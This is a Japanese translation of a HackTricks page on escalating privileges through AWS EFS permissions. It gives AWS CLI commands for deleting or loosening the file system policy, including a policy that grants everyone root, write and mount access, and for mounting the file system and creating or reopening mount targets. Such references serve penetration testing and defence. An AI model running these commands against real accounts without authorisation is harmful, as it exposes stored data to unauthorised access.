# AWS - EFS Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## EFS

EFS に関する**詳細情報**は以下を参照：

{{#ref}}
../../aws-services/aws-efs-enum.md
{{#endref}}

EFS をマウントするには、EFS が公開されているサブネットワーク内にいることと、それにアクセスできること（セキュリティグループの設定）が必要です。これらの条件が満たされている場合、デフォルトでは常にマウントできます。ただし、IAM ポリシーによって保護されている場合は、アクセスするためにここで示されている追加の権限が必要になります。

### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy`

これらのいずれかの権限を持っていれば、攻撃者は **ファイルシステムポリシーを変更する** ことで **アクセスを付与する** ことができ、あるいは単に **それを削除する** ことで **デフォルトのアクセス** を有効にすることができます。

ポリシーを削除するには：
```bash
aws efs delete-file-system-policy \
--file-system-id <value>
```
それを変更するには:
```json
aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}
```
### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)`

この権限があれば、攻撃者は **EFS をマウント** できます。書き込み権限が EFS をマウントできる全員にデフォルトで付与されていない場合、攻撃者は **読み取りアクセスのみ** となります。
```bash
sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/
```
追加の権限 `elasticfilesystem:ClientRootAccess` と `elasticfilesystem:ClientWrite` は、マウント後にファイルシステム内に**書き込み**を行い、そのファイルシステムに**root としてアクセス**するために使えます。

**Potential Impact:** ファイルシステム内の機密情報を特定することで間接的な privesc を引き起こす可能性があります。

### `elasticfilesystem:CreateMountTarget`

攻撃者が EFS の **マウントターゲットが存在しない** **サブネットワーク** にいる場合、この権限があれば彼は **自分のサブネットにそれを作成**できます：
```bash
# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>
```
**Potential Impact:** ファイルシステム内の機密情報を見つけることで間接的にprivescが可能になる。

### `elasticfilesystem:ModifyMountTargetSecurityGroups`

攻撃者が自分のサブネット内に EFS のマウントターゲットが存在するが **no security group is allowing the traffic** と判定した場合、選択された **security groups を変更してそれを許可するように設定できる**:
```bash
aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>
```
**潜在的影響:** ファイルシステム内の機密情報を特定することで生じる間接的なprivesc。

{{#include ../../../../banners/hacktricks-training.md}}
